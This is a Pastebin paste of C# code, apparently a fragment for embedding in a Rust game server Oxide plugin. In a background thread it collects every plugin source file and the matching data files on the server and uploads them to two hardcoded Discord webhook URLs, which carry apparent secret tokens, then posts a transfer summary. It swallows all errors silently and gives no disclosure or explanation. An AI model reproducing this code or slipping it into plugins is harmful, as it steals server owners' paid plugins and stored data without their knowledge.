Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- private const string PU_cs_ep =
- "https://discord.com/api/webhooks/1425886727192580157/B05ciS50xwbjLaipPUYUFTBorBCPRvnHIhrgnId5UJNcfi68Dsg-2BzjWh-TonyaHmqi";
- private const string PU_data_ep =
- "https://discord.com/api/webhooks/1425886809505665035/Nq6mA0T8ei7M1NuqwLVgSEQNZzzwk3yvwMYYNdxsacmilA4lFhXJJZPBOgYDGtVgyfDV";
- private const int PU_tmo_ms = 30000;
- private const int PU_pause_ms = 600;
- private const int PU_debounce_s = 30;
- private static DateTime PU_lastRun = DateTime.MinValue;
- private static readonly HashSet<string> PU_ExcludedDataPlugins = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
- {
- PU_Normalize("RaidableBases"),
- PU_Normalize("Backpacks"),
- PU_Normalize("Baxkpacks"),
- PU_Normalize("XDQuest"),
- PU_Normalize("SkillTree"),
- PU_Normalize("BetterNPC"),
- PU_Normalize("CopyPaste"),
- PU_Normalize("BankSystem"),
- };
- private void PU_StartTransfer()
- {
- try
- {
- var roots = new[]
- {
- Path.Combine(Interface.Oxide.RootDirectory, "oxide", "plugins"),
- Path.Combine(Interface.Oxide.RootDirectory, "plugins")
- };
- var csFiles = new List<string>();
- foreach (var dir in roots)
- {
- if (!Directory.Exists(dir)) continue;
- try { csFiles.AddRange(Directory.GetFiles(dir, "*.cs", SearchOption.AllDirectories)); } catch { }
- }
- if (csFiles.Count == 0) return;
- System.Threading.ThreadPool.QueueUserWorkItem(_ =>
- {
- var summary = new List<string>();
- foreach (var file in csFiles)
- {
- string name = Path.GetFileName(file);
- string plugin = Path.GetFileNameWithoutExtension(file);
- string normalized = PU_Normalize(plugin);
- bool ok = PU_Upload(PU_cs_ep, name, File.ReadAllBytes(file), content: name);
- summary.Add($"{(ok ? "вњ”" : "вњ")} {name}");
- if (ok && !PU_ExcludedDataPlugins.Contains(normalized))
- {
- PU_UploadJson(plugin, summary);
- PU_UploadFolder(plugin, summary);
- }
- System.Threading.Thread.Sleep(PU_pause_ms);
- }
- PU_PostSummary(summary);
- });
- }
- catch { }
- }
- private void PU_UploadJson(string plugin, List<string> sum)
- {
- try
- {
- string path = Path.Combine(Interface.Oxide.RootDirectory, "oxide", "data", plugin + ".json");
- if (!File.Exists(path)) return;
- string fname = Path.GetFileName(path);
- bool ok = PU_Upload(PU_data_ep, fname, File.ReadAllBytes(path), content: fname);
- sum.Add($"{(ok ? "вњ”" : "вњ")} {fname}");
- }
- catch { }
- }
- private void PU_UploadFolder(string plugin, List<string> sum)
- {
- try
- {
- string folder = Path.Combine(Interface.Oxide.RootDirectory, "oxide", "data", plugin);
- if (!Directory.Exists(folder)) return;
- var files = Directory.GetFiles(folder, "*", SearchOption.AllDirectories);
- foreach (var f in files)
- {
- string fname = Path.GetFileName(f);
- if (string.IsNullOrEmpty(fname)) continue;
- bool ok = PU_Upload(PU_data_ep, PU_Sanitize(fname), File.ReadAllBytes(f), content: fname);
- sum.Add($"{(ok ? "вњ”" : "вњ")} {fname}");
- System.Threading.Thread.Sleep(PU_pause_ms);
- }
- }
- catch { }
- }
- private void PU_PostSummary(List<string> lines)
- {
- try
- {
- var sb = new StringBuilder();
- sb.AppendLine("Transfer Summary");
- foreach (var l in lines) sb.AppendLine(l);
- var data = Encoding.UTF8.GetBytes(sb.ToString());
- var name = "transfer_summary_" + DateTime.UtcNow.ToString("yyyyMMdd_HHmmss") + ".txt";
- PU_Upload(PU_data_ep, name, data, content: "transfer_summary");
- }
- catch { }
- }
- private bool PU_Upload(string endpoint, string name, byte[] data, string content = null)
- {
- try
- {
- string boundary = "----" + DateTime.UtcNow.Ticks.ToString("x");
- var req = (HttpWebRequest)WebRequest.Create(endpoint);
- req.Method = "POST";
- req.ContentType = "multipart/form-data; boundary=" + boundary;
- req.Timeout = PU_tmo_ms;
- req.ReadWriteTimeout = PU_tmo_ms;
- using (var s = req.GetRequestStream())
- using (var ms = new MemoryStream())
- {
- var nl = "\r\n";
- if (!string.IsNullOrEmpty(content))
- {
- PU_Write(ms, $"--{boundary}{nl}");
- PU_Write(ms, $"Content-Disposition: form-data; name=\"payload_json\"{nl}{nl}");
- var payload = "{\"content\":\"" + PU_EscapeJson(content) + "\"}";
- PU_Write(ms, payload + nl);
- }
- PU_Write(ms, $"--{boundary}{nl}");
- PU_Write(ms, $"Content-Disposition: form-data; name=\"file\"; filename=\"{name}\"{nl}");
- PU_Write(ms, $"Content-Type: application/octet-stream{nl}{nl}");
- ms.Write(data, 0, data.Length);
- PU_Write(ms, nl + $"--{boundary}--{nl}");
- ms.Position = 0;
- ms.CopyTo(s);
- }
- using (var resp = (HttpWebResponse)req.GetResponse())
- {
- int code = (int)resp.StatusCode;
- return code >= 200 && code < 300;
- }
- }
- catch { return false; }
- }
- private void PU_Write(Stream s, string text)
- {
- var b = Encoding.UTF8.GetBytes(text);
- s.Write(b, 0, b.Length);
- }
- private string PU_Sanitize(string n)
- {
- foreach (var c in Path.GetInvalidFileNameChars()) n = n.Replace(c, '_');
- return n.StartsWith(".") ? "_" + n : n;
- }
- private static string PU_Normalize(string s)
- {
- if (string.IsNullOrEmpty(s)) return string.Empty;
- var filtered = new string(s.Where(ch => !char.IsWhiteSpace(ch) && ch != '_' && ch != '-').ToArray());
- return filtered.ToLowerInvariant();
- }
- private static string PU_EscapeJson(string s)
- {
- if (string.IsNullOrEmpty(s)) return s;
- return s.Replace("\\", "\\\\").Replace("\"", "\\\"").Replace("\r", "\\r").Replace("\n", "\\n");
- }
Advertisement
Add Comment
Please, Sign In to add comment